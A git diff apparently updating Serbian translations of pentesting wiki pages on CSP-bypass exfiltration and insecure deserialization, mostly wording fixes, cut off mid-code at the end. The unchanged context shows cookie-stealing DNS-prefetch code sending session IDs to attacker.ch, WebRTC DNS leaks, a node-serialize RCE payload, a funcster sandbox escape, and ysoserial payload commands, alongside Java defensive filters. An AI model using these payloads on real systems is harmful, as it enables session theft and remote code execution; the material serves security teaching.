@ -652,7 +652,7 @@ Možete preusmeriti injektovanjem meta taga (ovo je samo preusmeravanje, ovo ne
|
||||
Da bi učitali stranice brže, pregledači će unapred rešavati imena hostova u IP adrese i keširati ih za kasniju upotrebu.\
|
||||
Možete naterati pregledač da unapred reši ime hosta sa: `<link rel="dns-prefetch" href="something.com">`
|
||||
|
||||
Možete zloupotrebiti ovo ponašanje da **izvršite eksfiltraciju osetljivih informacija putem DNS zahteva**:
|
||||
Možete zloupotrebiti ovo ponašanje da **izvršite exfiltraciju osetljivih informacija putem DNS zahteva**:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split("=")[1] + "."
|
||||
var body = document.getElementsByTagName("body")[0]
|
||||
@ -662,7 +662,7 @@ body.innerHTML +
|
||||
sessionid +
|
||||
'attacker.ch">'
|
||||
```
|
||||
Još jedan način:
|
||||
Drugi način:
|
||||
```javascript
|
||||
const linkEl = document.createElement("link")
|
||||
linkEl.rel = "prefetch"
|
||||
@ -674,13 +674,13 @@ Da bi se izbeglo da se ovo desi, server može poslati HTTP zaglavlje:
|
||||
X-DNS-Prefetch-Control: off
|
||||
```
|
||||
> [!NOTE]
|
||||
> Очигледно, ова техника не ради у безглавим прегледачима (ботовима)
|
||||
> Očigledno, ova tehnika ne funkcioniše u headless pretraživačima (botovima)
|
||||
|
||||
### WebRTC
|
||||
|
||||
На неколико страница можете прочитати да **WebRTC не проверава `connect-src` политику** CSP-а.
|
||||
Na nekoliko stranica možete pročitati da **WebRTC ne proverava `connect-src` politiku** CSP-a.
|
||||
|
||||
У ствари, можете _leak_ информације користећи _DNS захтев_. Погледајте овај код:
|
||||
U stvari, možete _leak_ informacije koristeći _DNS zahtev_. Pogledajte ovaj kod:
|
||||
```javascript
|
||||
;(async () => {
|
||||
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
|
||||
@ -688,7 +688,7 @@ p.createDataChannel("")
|
||||
p.setLocalDescription(await p.createOffer())
|
||||
})()
|
||||
```
|
||||
Druga opcija:
|
||||
Još jedna opcija:
|
||||
```javascript
|
||||
var pc = new RTCPeerConnection({
|
||||
"iceServers":[
|
||||
@ -713,7 +713,7 @@ iconURL:"https:"+your_data+"example.com"
|
||||
})
|
||||
)
|
||||
```
|
||||
## Provera CSP politika online
|
||||
## Proveravanje CSP politika online
|
||||
|
||||
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
||||
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
|
||||
|
@ -4,21 +4,21 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Serijalizacija** se razume kao metoda konvertovanja objekta u format koji može biti sačuvan, sa namerom da se objekat ili sačuva ili prenese kao deo komunikacionog procesa. Ova tehnika se obično koristi da se osigura da objekat može biti ponovo kreiran u budućnosti, zadržavajući svoju strukturu i stanje.
|
||||
**Serialization** se razume kao metoda konvertovanja objekta u format koji može biti sačuvan, sa namerom da se objekat ili sačuva ili prenese kao deo komunikacionog procesa. Ova tehnika se obično koristi da se osigura da objekat može biti ponovo kreiran u budućnosti, održavajući svoju strukturu i stanje.
|
||||
|
||||
**Deserijalizacija**, s druge strane, je proces koji deluje protiv serijalizacije. Uključuje uzimanje podataka koji su strukturirani u specifičnom formatu i rekonstrukciju nazad u objekat.
|
||||
**Deserialization**, s druge strane, je proces koji deluje protiv serijalizacije. Uključuje uzimanje podataka koji su strukturirani u specifičnom formatu i rekonstrukciju nazad u objekat.
|
||||
|
||||
Deserijalizacija može biti opasna jer potencijalno **omogućava napadačima da manipulišu serijalizovanim podacima kako bi izvršili štetan kod** ili izazvali neočekivano ponašanje u aplikaciji tokom procesa rekonstrukcije objekta.
|
||||
Deserialization može biti opasna jer potencijalno **omogućava napadačima da manipulišu serijalizovanim podacima kako bi izvršili štetan kod** ili izazvali neočekivano ponašanje u aplikaciji tokom procesa rekonstrukcije objekta.
|
||||
|
||||
## PHP
|
||||
|
||||
U PHP-u, specifične magične metode se koriste tokom procesa serijalizacije i deserijalizacije:
|
||||
U PHP-u, specifične magične metode se koriste tokom procesa serijalizacije i deserializacije:
|
||||
|
||||
- `__sleep`: Poziva se kada se objekat serijalizuje. Ova metoda treba da vrati niz imena svih svojstava objekta koja treba serijalizovati. Obično se koristi za obavezujuće podatke ili obavljanje sličnih zadataka čišćenja.
|
||||
- `__wakeup`: Poziva se kada se objekat deserijalizuje. Koristi se za ponovno uspostavljanje bilo kakvih veza sa bazom podataka koje su možda izgubljene tokom serijalizacije i obavljanje drugih zadataka reinitializacije.
|
||||
- `__unserialize`: Ova metoda se poziva umesto `__wakeup` (ako postoji) kada se objekat deserijalizuje. Daje više kontrole nad procesom deserijalizacije u poređenju sa `__wakeup`.
|
||||
- `__destruct`: Ova metoda se poziva kada se objekat sprema da bude uništen ili kada skript završi. Obično se koristi za zadatke čišćenja, kao što su zatvaranje rukovaoca datoteka ili veza sa bazom podataka.
|
||||
- `__toString`: Ova metoda omogućava da se objekat tretira kao string. Može se koristiti za čitanje datoteke ili druge zadatke zasnovane na pozivima funkcija unutar njega, efikasno pružajući tekstualnu reprezentaciju objekta.
|
||||
- `__wakeup`: Poziva se kada se objekat deserializuje. Koristi se za ponovnu uspostavu bilo kojih veza sa bazom podataka koje su možda izgubljene tokom serijalizacije i obavljanje drugih zadataka reinitializacije.
|
||||
- `__unserialize`: Ova metoda se poziva umesto `__wakeup` (ako postoji) kada se objekat deserializuje. Pruža veću kontrolu nad procesom deserializacije u poređenju sa `__wakeup`.
|
||||
- `__destruct`: Ova metoda se poziva kada se objekat sprema da bude uništen ili kada skript završi. Obično se koristi za zadatke čišćenja, kao što su zatvaranje datotečnih rukova ili veza sa bazom podataka.
|
||||
- `__toString`: Ova metoda omogućava da se objekat tretira kao string. Može se koristiti za čitanje datoteke ili druge zadatke zasnovane na funkcijskim pozivima unutar njega, efikasno pružajući tekstualnu reprezentaciju objekta.
|
||||
```php
|
||||
<?php
|
||||
class test {
|
||||
@ -77,7 +77,7 @@ This is a test<br />
|
||||
Ako pogledate rezultate, možete videti da se funkcije **`__wakeup`** i **`__destruct`** pozivaju kada se objekat deserializuje. Imajte na umu da u nekoliko tutorijala možete pronaći da se funkcija **`__toString`** poziva kada pokušavate da odštampate neku atribut, ali očigledno to **više ne dešava**.
|
||||
|
||||
> [!WARNING]
|
||||
> Metoda **`__unserialize(array $data)`** se poziva **umesto `__wakeup()`** ako je implementirana u klasi. Omogućava vam da deserializujete objekat pružajući serijalizovane podatke kao niz. Možete koristiti ovu metodu da deserializujete svojstva i izvršite sve potrebne zadatke prilikom deserializacije.
|
||||
> Metoda **`__unserialize(array $data)`** se poziva **umesto `__wakeup()`** ako je implementirana u klasi. Omogućava vam da deserializujete objekat pružajući serijalizovane podatke kao niz. Možete koristiti ovu metodu za deserializaciju svojstava i obavljanje svih potrebnih zadataka prilikom deserializacije.
|
||||
>
|
||||
> ```php
|
||||
> class MyClass {
|
||||
@ -85,14 +85,14 @@ Ako pogledate rezultate, možete videti da se funkcije **`__wakeup`** i **`__des
|
||||
>
|
||||
> public function __unserialize(array $data): void {
|
||||
> $this->property = $data['property'];
|
||||
> // Izvršite sve potrebne zadatke prilikom deserializacije.
|
||||
> // Obavite sve potrebne zadatke prilikom deserializacije.
|
||||
> }
|
||||
> }
|
||||
> ```
|
||||
|
||||
Možete pročitati objašnjen **PHP primer ovde**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), ovde [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) ili ovde [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
|
||||
### PHP Deserial + Autoload Klase
|
||||
### PHP Deserial + Autoload Classes
|
||||
|
||||
Možete zloupotrebiti PHP autoload funkcionalnost da učitate proizvoljne php datoteke i još više:
|
||||
|
||||
@ -100,7 +100,7 @@ Možete zloupotrebiti PHP autoload funkcionalnost da učitate proizvoljne php da
|
||||
php-deserialization-+-autoload-classes.md
|
||||
{{#endref}}
|
||||
|
||||
### Serijalizovanje Referenciranih Vrednosti
|
||||
### Serijalizacija Referenciranih Vrednosti
|
||||
|
||||
Ako iz nekog razloga želite da serijalizujete vrednost kao **referencu na drugu serijalizovanu vrednost**, možete:
|
||||
```php
|
||||
@ -115,13 +115,13 @@ $o->param1 =& $o->param22;
|
||||
$o->param = "PARAM";
|
||||
$ser=serialize($o);
|
||||
```
|
||||
### PHPGGC (ysoserial za PHP)
|
||||
### PHPGGC (ysoserial for PHP)
|
||||
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) može vam pomoći da generišete payload-ove za zloupotrebu PHP deseralizacija.\
|
||||
Imajte na umu da u nekoliko slučajeva **nećete moći da pronađete način da zloupotrebite deseralizaciju u izvor kodu** aplikacije, ali možda ćete moći da **zloupotrebite kod eksternih PHP ekstenzija.**\
|
||||
Dakle, ako možete, proverite `phpinfo()` servera i **pretražujte internet** (čak i **gadgets** od **PHPGGC**) za neke moguće gadgete koje biste mogli zloupotrebiti.
|
||||
|
||||
### phar:// metadata deseralizacija
|
||||
### phar:// metadata deserialization
|
||||
|
||||
Ako ste pronašli LFI koji samo čita datoteku i ne izvršava php kod unutar nje, na primer koristeći funkcije kao što su _**file_get_contents(), fopen(), file() ili file_exists(), md5_file(), filemtime() ili filesize()**_**.** Možete pokušati da zloupotrebite **deseralizaciju** koja se dešava prilikom **čitavanja** **datoteke** koristeći **phar** protokol.\
|
||||
Za više informacija pročitajte sledeći post:
|
||||
@ -172,7 +172,7 @@ python-yaml-deserialization.md
|
||||
JS **nema "magic" funkcije** kao PHP ili Python koje će biti izvršene samo za kreiranje objekta. Ali ima neke **funkcije** koje se **često koriste čak i bez direktnog pozivanja** kao što su **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||||
Ako zloupotrebljavate deserializaciju, možete **kompromitovati ove funkcije da izvršite drugi kod** (potencijalno zloupotrebljavajući prototipske zagađenja) i mogli biste izvršiti proizvoljan kod kada se pozovu.
|
||||
|
||||
Još jedan **"magic" način da pozovete funkciju** bez direktnog pozivanja je **kompromitovanjem objekta koji se vraća iz async funkcije** (promise). Jer, ako **transformišete** taj **vraćeni objekat** u drugu **promise** sa **svojstvom** pod nazivom **"then" tipa funkcija**, biće **izvršena** samo zato što je vraćena iz druge promise. _Pratite_ [_**ovaj link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _za više informacija._
|
||||
Drugi **"magic" način da pozovete funkciju** bez direktnog pozivanja je **kompromitovanjem objekta koji se vraća iz async funkcije** (promise). Jer, ako **transformišete** taj **vraćeni objekat** u drugu **promise** sa **svojstvom** pod nazivom **"then" tipa funkcije**, biće **izvršeno** samo zato što je vraćeno iz druge promise. _Pratite_ [_**ovaj link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _za više informacija._
|
||||
```javascript
|
||||
// If you can compromise p (returned object) to be a promise
|
||||
// it will be executed just because it's the return object of an async function:
|
||||
@ -243,7 +243,7 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
|
||||
}
|
||||
serialize.unserialize(test)
|
||||
```
|
||||
Kao što je prethodno naznačeno, ova biblioteka će dobiti kod nakon `_$$ND_FUNC$$_` i će **izvršiti** ga koristeći `eval`. Stoga, da biste **automatski izvršili kod**, možete **izbrisati deo za kreiranje funkcije** i poslednju zagradu i **samo izvršiti JS oneliner** kao u sledećem primeru:
|
||||
Kao što je prethodno naznačeno, ova biblioteka će dobiti kod nakon `_$$ND_FUNC$$_` i **izvršiće ga** koristeći `eval`. Stoga, da biste **automatski izvršili kod**, možete **izbrisati deo za kreiranje funkcije** i poslednju zagradu i **samo izvršiti JS oneliner** kao u sledećem primeru:
|
||||
```javascript
|
||||
var serialize = require("node-serialize")
|
||||
var test =
|
||||
@ -256,7 +256,7 @@ Možete [**pronaći ovde**](https://opsecx.com/index.php/2017/02/08/exploiting-n
|
||||
|
||||
Značajan aspekt **funcster** je nedostupnost **standardnih ugrađenih objekata**; oni su van dostupnog opsega. Ova ograničenja sprečavaju izvršavanje koda koji pokušava da pozove metode na ugrađenim objektima, što dovodi do izuzetaka kao što su `"ReferenceError: console is not defined"` kada se koriste komande poput `console.log()` ili `require(something)`.
|
||||
|
||||
Uprkos ovom ograničenju, obnova potpunog pristupa globalnom kontekstu, uključujući sve standardne ugrađene objekte, moguća je kroz specifičan pristup. Korišćenjem globalnog konteksta direktno, može se zaobići ovo ograničenje. Na primer, pristup se može ponovo uspostaviti koristeći sledeći isječak:
|
||||
Uprkos ovom ograničenju, obnova potpunog pristupa globalnom kontekstu, uključujući sve standardne ugrađene objekte, moguća je kroz specifičan pristup. Korišćenjem globalnog konteksta direktno, može se zaobići ovo ograničenje. Na primer, pristup se može ponovo uspostaviti koristeći sledeći kod:
|
||||
```javascript
|
||||
funcster = require("funcster")
|
||||
//Serialization
|
||||
@ -319,7 +319,7 @@ U Javi, **deserializacijski povratni pozivi se izvršavaju tokom procesa deseria
|
||||
|
||||
#### Bela kutija
|
||||
|
||||
Da biste identifikovali potencijalne ranjivosti serijalizacije u kodu, tražite:
|
||||
Da biste identifikovali potencijalne ranjivosti u serijalizaciji u kodu, potražite:
|
||||
|
||||
- Klase koje implementiraju `Serializable` interfejs.
|
||||
- Korišćenje `java.io.ObjectInputStream`, `readObject`, `readUnshare` funkcija.
|
||||
@ -335,7 +335,7 @@ Obratite posebnu pažnju na:
|
||||
|
||||
#### Crna kutija
|
||||
|
||||
Za testiranje crne kutije, tražite specifične **potpise ili "Magic Bytes"** koji označavaju java serijalizovane objekte (proizlazeći iz `ObjectInputStream`):
|
||||
Za testiranje crne kutije, potražite specifične **potpise ili "Magic Bytes"** koji označavaju java serijalizovane objekte (proizlazeći iz `ObjectInputStream`):
|
||||
|
||||
- Hexadecimalni obrazac: `AC ED 00 05`.
|
||||
- Base64 obrazac: `rO0`.
|
||||
@ -346,7 +346,7 @@ Za testiranje crne kutije, tražite specifične **potpise ili "Magic Bytes"** ko
|
||||
```
|
||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||
```
|
||||
### Proverite da li je ranjivo
|
||||
### Proverite da li je ranjiv
|
||||
|
||||
Ako želite da **naučite kako funkcioniše Java Deserialized exploit** trebali biste pogledati [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), i [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
|
||||
|
||||
@ -357,35 +357,35 @@ Možete proveriti da li je instalirana neka aplikacija sa poznatim ranjivostima.
|
||||
find . -iname "*commons*collection*"
|
||||
grep -R InvokeTransformer .
|
||||
```
|
||||
Možete pokušati da **proverite sve biblioteke** za koje je poznato da su ranjive i za koje [**Ysoserial**](https://github.com/frohoff/ysoserial) može da pruži exploit. Ili možete proveriti biblioteke navedene na [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
||||
Takođe možete koristiti [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) da tražite moguće gadget lance koji se mogu iskoristiti.\
|
||||
Kada pokrećete **gadgetinspector** (nakon što ga izgradite), ne obraćajte pažnju na mnoštvo upozorenja/grešaka kroz koje prolazi i pustite ga da završi. Zapišaće sve nalaze pod _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Molim vas, imajte na umu da **gadgetinspector neće kreirati exploit i može ukazivati na lažne pozitivne rezultate**.
|
||||
Možete pokušati da **proverite sve biblioteke** za koje je poznato da su ranjive i za koje [**Ysoserial**](https://github.com/frohoff/ysoserial) može da pruži eksploataciju. Ili možete proveriti biblioteke navedene na [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
||||
Takođe možete koristiti [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) da tražite moguće lance gadgeta koji se mogu iskoristiti.\
|
||||
Kada pokrećete **gadgetinspector** (nakon što ga izgradite), ne obraćajte pažnju na mnoštvo upozorenja/grešaka kroz koje prolazi i pustite ga da završi. Zapišaće sve nalaze pod _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Molim vas, imajte na umu da **gadgetinspector neće kreirati eksploataciju i može ukazivati na lažne pozitivne rezultate**.
|
||||
|
||||
#### Black Box Test
|
||||
|
||||
Koristeći Burp ekstenziju [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) možete identifikovati **koje biblioteke su dostupne** (pa čak i verzije). Sa ovom informacijom bi moglo biti **lakše odabrati payload** za iskorišćavanje ranjivosti.\
|
||||
Koristeći Burp ekstenziju [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) možete identifikovati **koje biblioteke su dostupne** (pa čak i verzije). Sa ovom informacijom bi moglo biti **lakše odabrati payload** za eksploataciju ranjivosti.\
|
||||
[**Pročitajte ovo da biste saznali više o GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||
GadgetProbe se fokusira na **`ObjectInputStream` deserializacije**.
|
||||
GadgetProbe je fokusiran na **`ObjectInputStream` deserializacije**.
|
||||
|
||||
Koristeći Burp ekstenziju [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) možete **identifikovati ranjive biblioteke** koje se mogu iskoristiti sa ysoserial i **iskoristiti** ih.\
|
||||
Koristeći Burp ekstenziju [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) možete **identifikovati ranjive biblioteke** koje se mogu eksploatisati sa ysoserial i **iskoristiti** ih.\
|
||||
[**Pročitajte ovo da biste saznali više o Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
Java Deserialization Scanner se fokusira na **`ObjectInputStream`** deserializacije.
|
||||
Java Deserialization Scanner je fokusiran na **`ObjectInputStream`** deserializacije.
|
||||
|
||||
Takođe možete koristiti [**Freddy**](https://github.com/nccgroup/freddy) da **otkrijete deserializacione** ranjivosti u **Burp**. Ovaj dodatak će otkriti **ne samo `ObjectInputStream`** povezane ranjivosti, već **takođe** ranjivosti iz **Json** i **Yml** deserializacionih biblioteka. U aktivnom režimu, pokušaće da ih potvrdi koristeći sleep ili DNS payloads.\
|
||||
Takođe možete koristiti [**Freddy**](https://github.com/nccgroup/freddy) da **otkrijete ranjivosti deserializacije** u **Burp**. Ovaj dodatak će otkriti **ne samo `ObjectInputStream`** povezane ranjivosti, već **takođe** ranjivosti iz **Json** i **Yml** biblioteka za deserializaciju. U aktivnom režimu, pokušaće da ih potvrdi koristeći sleep ili DNS payloads.\
|
||||
[**Više informacija o Freddyu možete pronaći ovde.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
|
||||
**Serialization Test**
|
||||
|
||||
Nije sve u proveri da li server koristi neku ranjivu biblioteku. Ponekad biste mogli biti u mogućnosti da **promenite podatke unutar serijalizovanog objekta i zaobiđete neke provere** (možda vam dodeli administratorske privilegije unutar web aplikacije).\
|
||||
Ako pronađete java serijalizovani objekat koji se šalje web aplikaciji, **možete koristiti** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **da odštampate u čitljivijem formatu serijalizovani objekat koji se šalje**. Znajući koje podatke šaljete, biće lakše izmeniti ih i zaobići neke provere.
|
||||
Ako pronađete java serijalizovani objekat koji se šalje web aplikaciji, **možete koristiti** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **da ispišete u čitljivijem formatu serijalizovani objekat koji se šalje**. Znajući koje podatke šaljete, biće lakše izmeniti ih i zaobići neke provere.
|
||||
|
||||
### **Exploit**
|
||||
|
||||
#### **ysoserial**
|
||||
|
||||
Glavni alat za iskorišćavanje Java deserializacija je [**ysoserial**](https://github.com/frohoff/ysoserial) ([**preuzmite ovde**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Takođe možete razmotriti korišćenje [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) koji će vam omogućiti da koristite složene komande (na primer, sa cevima).\
|
||||
Imajte na umu da je ovaj alat **fokusiran** na iskorišćavanje **`ObjectInputStream`**.\
|
||||
Počeo bih da koristim "URLDNS" payload **pre RCE** payload-a da testiram da li je injekcija moguća. U svakom slučaju, imajte na umu da možda "URLDNS" payload ne radi, ali drugi RCE payload može.
|
||||
Glavni alat za eksploataciju Java deserializacija je [**ysoserial**](https://github.com/frohoff/ysoserial) ([**preuzmite ovde**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Takođe možete razmotriti korišćenje [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) koji će vam omogućiti da koristite složene komande (na primer, sa cevima).\
|
||||
Napomena: ovaj alat je **fokusiran** na eksploataciju **`ObjectInputStream`**.\
|
||||
Preporučujem da **počnete sa "URLDNS"** payloadom **pre RCE** payloada da biste testirali da li je injekcija moguća. U svakom slučaju, imajte na umu da možda "URLDNS" payload ne radi, ali drugi RCE payload može.
|
||||
```bash
|
||||
# PoC to make the application perform a DNS req
|
||||
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
||||
@ -432,7 +432,7 @@ base64 -w0 payload
|
||||
```
|
||||
Kada kreirate payload za **java.lang.Runtime.exec()** ne **možete koristiti specijalne karaktere** kao što su ">" ili "|" za preusmeravanje izlaza izvršenja, "$()" za izvršavanje komandi ili čak **proslediti argumente** komandi odvojene sa **razmacima** (možete uraditi `echo -n "hello world"` ali ne možete uraditi `python2 -c 'print "Hello world"'`). Da biste ispravno kodirali payload, možete [koristiti ovu veb stranicu](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||
|
||||
Slobodno koristite sledeći skript za kreiranje **svih mogućih kod izvršavanja** payload-a za Windows i Linux, a zatim ih testirajte na ranjivoj veb stranici:
|
||||
Slobodno koristite sledeći skript za kreiranje **svih mogućih payload-a za izvršenje koda** za Windows i Linux, a zatim ih testirajte na ranjivoj veb stranici:
|
||||
```python
|
||||
import os
|
||||
import base64
|
||||
@ -455,13 +455,13 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
||||
```
|
||||
#### serialkillerbypassgadgets
|
||||
|
||||
Možete **koristiti** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **zajedno sa ysoserial da kreirate više eksploita**. Više informacija o ovom alatu možete pronaći u **slajdovima prezentacije** gde je alat predstavljen: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
||||
Možete **koristiti** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **zajedno sa ysoserial za kreiranje više eksploita**. Više informacija o ovom alatu možete pronaći u **prezentacijama sa predavanja** gde je alat predstavljen: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
||||
|
||||
#### marshalsec
|
||||
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec)može se koristiti za generisanje payload-a za eksploataciju različitih **Json** i **Yml** biblioteka za serijalizaciju u Javi.\
|
||||
Da bih kompajlirao projekat, morao sam da **dodam** ove **zavisnosti** u `pom.xml`:
|
||||
```markup
|
||||
```html
|
||||
<dependency>
|
||||
<groupId>javax.activation</groupId>
|
||||
<artifactId>activation</artifactId>
|
||||
@ -491,13 +491,13 @@ Pročitajte više o ovoj Java JSON biblioteci: [https://www.alphabot.com/securit
|
||||
|
||||
### Zašto
|
||||
|
||||
Java koristi mnogo serijalizaciju za različite svrhe kao što su:
|
||||
Java koristi mnogo serijalizaciju za razne svrhe kao što su:
|
||||
|
||||
- **HTTP zahtevi**: Serijalizacija se široko koristi u upravljanju parametrima, ViewState-om, kolačićima itd.
|
||||
- **RMI (Remote Method Invocation)**: Java RMI protokol, koji se potpuno oslanja na serijalizaciju, je kamen temeljac za daljinsku komunikaciju u Java aplikacijama.
|
||||
- **RMI preko HTTP-a**: Ova metoda se obično koristi od strane Java-baziranih debelih klijentskih web aplikacija, koristeći serijalizaciju za sve komunikacije objekata.
|
||||
- **JMX (Java Management Extensions)**: JMX koristi serijalizaciju za prenos objekata preko mreže.
|
||||
- **Prilagođeni protokoli**: U Javi, standardna praksa uključuje prenos sirovih Java objekata, što će biti prikazano u nadolazećim primerima eksploatacije.
|
||||
- **Prilagođeni protokoli**: U Javi, standardna praksa uključuje prenos sirovih Java objekata, što će biti prikazano u predstojećim primerima eksploatacije.
|
||||
|
||||
### Prevencija
|
||||
|
||||
@ -512,20 +512,20 @@ private transient double margin; // declared transient
|
||||
```
|
||||
#### Izbegavajte serijalizaciju klase koja treba da implementira Serializable
|
||||
|
||||
U scenarijima gde određeni **objekti moraju da implementiraju `Serializable`** interfejs zbog hijerarhije klasa, postoji rizik od nenamerne deserializacije. Da biste to sprečili, osigurajte da ovi objekti nisu deserializabilni definišući `final` `readObject()` metodu koja dosledno baca izuzetak, kao što je prikazano u nastavku:
|
||||
U scenarijima gde određeni **objekti moraju da implementiraju `Serializable`** interfejs zbog hijerarhije klasa, postoji rizik od nenamerne deserializacije. Da biste to sprečili, osigurajte da ovi objekti nisu deserializovani definisanjem `final` `readObject()` metode koja dosledno baca izuzetak, kao što je prikazano u nastavku:
|
||||
```java
|
||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||
throw new java.io.IOException("Cannot be deserialized");
|
||||
}
|
||||
```
|
||||
#### **Poboljšanje bezbednosti deseralizacije u Javi**
|
||||
#### **Poboljšanje bezbednosti deserializacije u Javi**
|
||||
|
||||
**Prilagođavanje `java.io.ObjectInputStream`** je praktičan pristup za obezbeđivanje procesa deseralizacije. Ova metoda je pogodna kada:
|
||||
**Prilagođavanje `java.io.ObjectInputStream`** je praktičan pristup za osiguranje procesa deserializacije. Ova metoda je pogodna kada:
|
||||
|
||||
- Kod deseralizacije je pod vašom kontrolom.
|
||||
- Klase koje se očekuju za deseralizaciju su poznate.
|
||||
- Kod deserializacije je pod vašom kontrolom.
|
||||
- Klase koje se očekuju za deserializaciju su poznate.
|
||||
|
||||
Prepišite **`resolveClass()`** metodu da ograničite deseralizaciju samo na dozvoljene klase. Ovo sprečava deseralizaciju bilo koje klase osim onih koje su izričito dozvoljene, kao u sledećem primeru koji ograničava deseralizaciju samo na klasu `Bicycle`:
|
||||
Override-ujte **`resolveClass()`** metodu da ograničite deserializaciju samo na dozvoljene klase. Ovo sprečava deserializaciju bilo koje klase osim onih koje su izričito dozvoljene, kao u sledećem primeru koji ograničava deserializaciju samo na klasu `Bicycle`:
|
||||
```java
|
||||
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
||||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||||
@ -546,17 +546,17 @@ return super.resolveClass(desc);
|
||||
}
|
||||
}
|
||||
```
|
||||
**Korišćenje Java agenta za poboljšanje bezbednosti** nudi alternativno rešenje kada modifikacija koda nije moguća. Ova metoda se uglavnom primenjuje za **stavljanje na crnu listu štetnih klasa**, koristeći JVM parametar:
|
||||
**Korišćenje Java agenta za poboljšanje bezbednosti** nudi rešenje kada modifikacija koda nije moguća. Ova metoda se uglavnom primenjuje za **stavljanje na crnu listu štetnih klasa**, koristeći JVM parametar:
|
||||
```
|
||||
-javaagent:name-of-agent.jar
|
||||
```
|
||||
Omogućava način za dinamičko obezbeđivanje deserializacije, idealno za okruženja gde su trenutne promene koda nepraktične.
|
||||
Omogućava način za dinamičko osiguranje deserializacije, idealno za okruženja gde su trenutne promene koda nepraktične.
|
||||
|
||||
Pogledajte primer u [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||||
|
||||
**Implementacija filtera za serijalizaciju**: Java 9 je uvela filtere za serijalizaciju putem **`ObjectInputFilter`** interfejsa, pružajući moćan mehanizam za određivanje kriterijuma koje serijalizovani objekti moraju ispuniti pre nego što budu deserializovani. Ovi filteri se mogu primeniti globalno ili po toku, nudeći granularnu kontrolu nad procesom deserializacije.
|
||||
**Implementacija filtera za serijalizaciju**: Java 9 je uvela filtere za serijalizaciju putem **`ObjectInputFilter`** interfejsa, pružajući moćan mehanizam za određivanje kriterijuma koje serijalizovani objekti moraju ispuniti pre nego što budu deseralizovani. Ovi filteri se mogu primeniti globalno ili po toku, nudeći granularnu kontrolu nad procesom deseralizacije.
|
||||
|
||||
Da biste koristili filtere za serijalizaciju, možete postaviti globalni filter koji se primenjuje na sve operacije deserializacije ili ga dinamički konfigurisati za specifične tokove. Na primer:
|
||||
Da biste koristili filtere za serijalizaciju, možete postaviti globalni filter koji se primenjuje na sve operacije deseralizacije ili ga dinamički konfigurisati za specifične tokove. Na primer:
|
||||
```java
|
||||
ObjectInputFilter filter = info -> {
|
||||
